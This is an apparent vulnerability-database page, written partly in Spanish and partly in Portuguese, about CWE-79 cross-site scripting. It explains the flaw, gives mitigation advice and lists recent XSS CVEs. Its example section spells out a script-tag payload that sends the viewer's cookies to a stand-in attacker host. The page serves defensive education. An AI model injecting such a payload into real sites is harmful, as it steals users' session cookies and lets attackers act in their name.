Fallos del tipo CWE-79

30.643 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-23757MEDIUMGFI HelpDesk < 4.99.10 Stored XSS via Reports ModuleEPSS 0.1%CVE-2026-31953MEDIUMXibo CMS has Stored XSS via Notification Body with Zero-Click Execution on LoginEPSS 0.1%CVE-2026-53742MEDIUMSimple Link Directory through 9.0.4 Stored XSS via Embed Shortcode AttributesEPSS 0.1%CVE-2026-44229MEDIUMRT: Cross-Site Scripting via inline-served uploaded contentEPSS 0.1%CVE-2026-53740MEDIUMYoast Duplicate Post through 4.6 Stored Cross-Site Scripting via Scheduled Republish NoticeEPSS 0.1%CVE-2026-48541MEDIUMKrayin CRM 2.2.6 Stored Template Injection XSS via Contact Name FieldEPSS 0.1%CVE-2026-23756MEDIUMGFI HelpDesk < 4.99.9 Stored XSS via Troubleshooter Step SubjectEPSS 0.1%CVE-2026-53741MEDIUMSimple Link Directory through 9.0.4 Stored XSS via sld_no_results_found OptionEPSS 0.1%CVE-2026-8833HIGHXSS in urlsEPSS 0.1%CVE-2025-15658MEDIUMWordPress WP Emmet plugin <= 0.3.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.1%CVE-2025-27852MEDIUMThe locally served web site on the Garmin WDU (v1 1.4.6 and v2 5.0) allows a reflected cross site scripting (XSS) attack. This allows an attEPSS 0.1%CVE-2026-117679MEDIUMA cross-site scripting vulnerability exists in SHIRASAGI, which may allow an authenticated attacker to execute arbitrary script in a user's EPSS 0.1%CVE-2026-8012MEDIUMInappropriate implementation in MHTML in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer proEPSS 0.1%CVE-2026-8080MEDIUMMISP core - Stored XSS in MISP template (old engine) element attribute typeEPSS 0.1%CVE-2026-94488HIGHTelegram Desktop before 6.9.4 allows XSS in the HTML exporter. (The first fixed stable version is 7.0.1.) This occurs in button.text.toUtf8 EPSS 0.1%CVE-2026-93460MEDIUMA stored cross-site scripting vulnerability via appended strings in email form fields exists in baserCMS. If this vulnerability is exploitedEPSS 0.1%CVE-2026-47901MEDIUMIframe escape by plugins in LogseqEPSS 0.1%CVE-2026-3107CRITICALMultiple vulnerabilities in TeampassEPSS 0.1%CVE-2026-40734MEDIUMWordPress Categories Images plugin <= 3.3.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.1%CVE-2026-40927MEDIUMDocmost: XSS in Comments with JavaScript URIEPSS 0.1%